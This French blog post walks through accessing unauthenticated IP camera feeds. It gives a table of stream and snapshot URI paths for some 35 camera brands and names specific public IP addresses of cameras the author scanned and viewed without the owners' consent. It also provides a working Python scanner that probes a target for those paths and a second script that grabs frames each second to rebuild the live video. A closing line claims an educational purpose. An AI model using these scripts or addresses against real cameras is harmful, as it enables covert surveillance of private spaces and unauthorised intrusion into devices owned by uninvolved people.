De nombreuses caméras IP fonctionnent en étant accessibles publiquement, souvent elles sont équipées d’une page de connexion qui permet de restreindre l’accès au propriétaire.

Or, fréquemment les propriétaires de ces caméras oublient de changer les identifiants par défaut mis en place par les constructeurs. C’est pas bien.

Et puis bon même si ces identifiants sont modifiés par l’utilisateur il est toujours possible que le modèle de la caméra présente des failles qui nous permettrait d’accéder directement au flux vidéo de la caméra.

Comme cette caméra IP de modèle Hi3516 sur l’ip 46.8.54.190:81.

Flux vidéo de la caméra

Je fais donc mes petites recherches pour ce cas d’usage puis dresse un tableau des différentes failles qui sont exploitables sur chaque modèle de ces caméras.

Modèle Chemin de la vulnérabilité
Android-IPWebcam http://ip:port/shot.jpg?rnd=654321
Axis http://ip:port/mjpg/video.mjpg
Axis2 http://ip:port/axis-cgi/mjpg/video.cgi?camera=&resolution=640x480
AxisMkII http://ip:port/jpg/image.jpg?COUNTER
BlueIris http://ip:port/image/Index?time=0
Bosch http://ip:port/snap.jpg?JpegSize=M&JpegCam=1&r=COUNTER
Canon http://ip:port/-wvhttp-01-/GetOneShot?image_size=640x480&frame_count=1000000000
ChannelVision http://ip:port/GetData.cgi?CH=1
Dahua http://ip:port/cgi-bin/snapshot.cgi
Defeway http://ip:port/cgi-bin/snapshot.cgi?chn=0&u=admin&p=&q=0&COUNTER
DLink http://ip:port/video/mjpg.cgi
DLink-DCS-932 http://ip:port/mjpeg.cgi
Foscam http://ip:port/videostream.cgi?user=admin&pwd=
FoscamIPCam http://ip:port/cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=&COUNTER
Fullhan http://ip:port/cgi-bin/snapshot.cgi?COUNTER
GK7205  
Hi3516 http://ip:port/webcapture.jpg?command=snap&channel=1?COUNTER
Linksys http://ip:port/img/video.mjpeg
Megapixel http://ip:port/jpgmulreq/1/image.jpg?key=1516975535684&lq=1&COUNTER
Mobotix http://ip:port/cgi-bin/faststream.jpg?stream=half&fps=15&rand=COUNTER
Motion  
Panasonic http://ip:port/SnapshotJPEG?Resolution=640x480&Quality=Clarity&COUNTER
PanasonicHD http://ip:port/cgi-bin/camera?resolution=640&quality=1&Language=0&COUNTER
Sony http://ip:port/oneshotimage1?COUNTER
Sony-CS3 http://ip:port/image?speed=0
StarDot http://ip:port/nph-jpeg.cgi?0
Streamer http://ip:port/?action=stream
SunellSecurity http://ip:port/onvif/snapshot/1/11
Toshiba http://ip:port/__live.jpg?&&&COUNTER
TPLink http://ip:port/jpg/image.jpg?COUNTER
Vije http://ip:port/asp/video.cgi
Vivotek http://ip:port/cgi-bin/viewer/video.jpg?r=COUNTER
WebcamXP http://ip:port/cam_1.cgi
WIFICam  
WYM  
Yawcam http://ip:port/out.jpg?q=30&id=0.1317044913727916&r=COUNTER

Comme on peut le remarquer, la plupart des flux vidéo de ces caméras sont accessibles directement depuis ces URIs spécifiques.

J’effectue alors un scan Nmap sur une ip vulnérable 90.189.182.80 pour tester la faille.

Scan nmap

On remarque qu’il y a bien des ports ouverts.

Je rappelle que la plupart des constructeurs ont quand même mis en place des mesures de restriction comme une page de connexion pour éviter justement que l’utilisateur lambda puisse accéder à ces flux.

Page de connexion d'une caméra

Alors, en effet ces restrictions sont bien présentes mais il s’avère qu’elles ne suffisent pas comme nous pouvons le voir avec le test réalisé en dessous.

Flux vidéo de la caméra

Le modèle de la caméra est bien une Fullhan d’après l’URI qui correspond et je peux également le vérifier dans ce cas grâce à la présence d’une solution hébergée sur la même ip mais sur un port différent.

Interface Herospeed

En effet la solution semble avoir été mise en place par l’entreprise Herospeed qui fournit des caméras IP dont le fameux modèle Fullhan, dont nous avons montré qu’il était vulnérable.

Output du scan par le script

J’écris donc un script qui me permet d’automatiser la détection de la présence de ces vulnérabilités. Et je remarque que ça fonctionne, il me renvoie bien les potentiels flux vidéo accessibles.

import requests, time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from colorama import init, Fore, Style

init()

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# Liste des modèles vulnérables
model = ["Android-IPWebcam", "Axis", "Axis2", "AxisMkII", "BlueIris", "Bosch", "Canon", "ChannelVision", "Dahua", "Defeway", "DLink", "DLink-DCS-932", "Foscam", "FoscamIPCam", "Fullhan", "GK7205", "Hi3516", "Linksys", "Megapixel", "Mobotix", "Motion", "Panasonic", "PanasonicHD", "Sony", "Sony-CS3", "StarDot", "Streamer", "SunellSecurity", "Toshiba", "TPLink", "Vije", "Vivotek", "WebcamXP", "WIFICam", "WYM", "Yawcam"]
# Liste des URIs accessibles
uri_vuln = ["shot.jpg?rnd=654321", "mjpg/video.mjpg", "axis-cgi/mjpg/video.cgi?camera=&resolution=640x480", "jpg/image.jpg?COUNTER", "image/Index?time=0", "snap.jpg?JpegSize=M&JpegCam=1&r=COUNTER", "GetOneShot?image_size=640x480&frame_count=1000000000", "GetData.cgi?CH=1", "cgi-bin/snapshot.cgi", "cgi-bin/snapshot.cgi?chn=0&u=admin&p=&q=0&COUNTER", "video/mjpg.cgi", "mjpeg.cgi", "videostream.cgi?user=admin&pwd=", "cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=&COUNTER", "cgi-bin/snapshot.cgi?COUNTER", "","webcapture.jpg?command=snap&channel=1?COUNTER", "img/video.mjpeg", "jpgmulreq/1/image.jpg?key=1516975535684&lq=1&COUNTER", "cgi-bin/faststream.jpg?stream=half&fps=15&rand=COUNTER", "", "SnapshotJPEG?Resolution=640x480&Quality=Clarity&COUNTER", "cgi-bin/camera?resolution=640&quality=1&Language=0&COUNTER", "oneshotimage1?COUNTER", "image?speed=0", "nph-jpeg.cgi?0", "?action=stream", "onvif/snapshot/1/11", "__live.jpg?&&&COUNTER", "jpg/image.jpg?COUNTER", "asp/video.cgi", "cgi-bin/viewer/video.jpg?r=COUNTER", "cam_1.cgi", "", "", "out.jpg?q=30&id=0.1317044913727916&r=COUNTER"]

# Fonction qui va tester si les URIs sont accessibles
def scan_cam(ip):
	for i in range(len(model)):
		try:
			url = f"http://{ip}/{uri_vuln[i]}"
			if(uri_vuln[i] != ""):
				response = requests.head(url, verify=False, timeout=1)
			if(response.status_code == 200):
				test_cam = requests.get(url)
				if "login" not in str(test_cam.text):
					print(Fore.GREEN + f"Modèle de la caméra: {model[i]} \n - Flux de la caméra: {url}" + Fore.GREEN)
			else:
				print(Fore.RED + f"Modèle de la caméra: {model[i]}" + Fore.RED)
		except:
			print(Fore.RED + f"Modèle de la caméra: {model[i]}" + Fore.RED)

if __name__ == "__main__":
	# Affichage du nombre total de modèles vulnérables
	print(f"Total de modèles vulnérables {len(model)}")
	# Demande pour spécifier l'IP
	ip = input("IP: ")
	# Demande pour spécifier le PORT
	port = input("PORT: ")
	ip += ":" + port
	# Appel de la fonction de scan
	scan_cam(ip)

N’oubliez pas d’importer les libraries avant d’exécuter le code

pip install requests colorama

Maintenant comme nous avons pu le remarquer avec les tests, nous récupérons le plus souvent des images et non directement une vidéo.

Output de l'affichage du flux vidéo

Or si l’on affiche successivement des images par seconde on obtient bien une vidéo. J’écris donc un script qui nous permet d’enregistrer ces images toutes les secondes et nous sommes maintenant capables de lire le flux vidéo.

import os, requests, time, cv2
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

save_path = "capture.jpg"

# Fonction qui va afficher le flux vidéo
def read_cam(url):
    print(f"\nChemin du flux vidéo: {os.getcwd()}/{save_path}")
    while True:
        flux_img = cv2.imread(f"{os.getcwd()}/{save_path}", cv2.IMREAD_COLOR)
        print(time.ctime())
        img = requests.get(url)
        f = open(save_path, "wb")
        f.write(img.content)
        f.close()
        cv2.imshow("Affichage Flux", flux_img)
        key = cv2.waitKey(1)
        if key & 0xFF == ord('q'):
            break
    cv2.destroyAllWindows()

if __name__ == "__main__":
	# Demande de spécifier l'url du flux
	url = input("Flux de la caméra: ")
	# Appel de la fonction de lecture d'un flux
	read_cam(url)

Ce programme nous permet de lire le flux vidéo en enregistrant les images par seconde dans un même fichier, qui sera actualisé puis en affichant le fichier image dans une fenêtre OpenCV.

N’oubliez pas d’importer les libraries avant d’exécuter le code

pip install requests opencv-python

Cependant il manque encore quelques vulnérabilités sur certains modèles de caméras IP et certaines mises à jour des constructeurs peuvent rendre ces vulnérabilités obsolètes.

Je souhaite toutefois mentionner que ce projet de cybersécurité a été entrepris à des fins strictement éducatives, dans le but de promouvoir la sensibilisation à la sécurité informatique.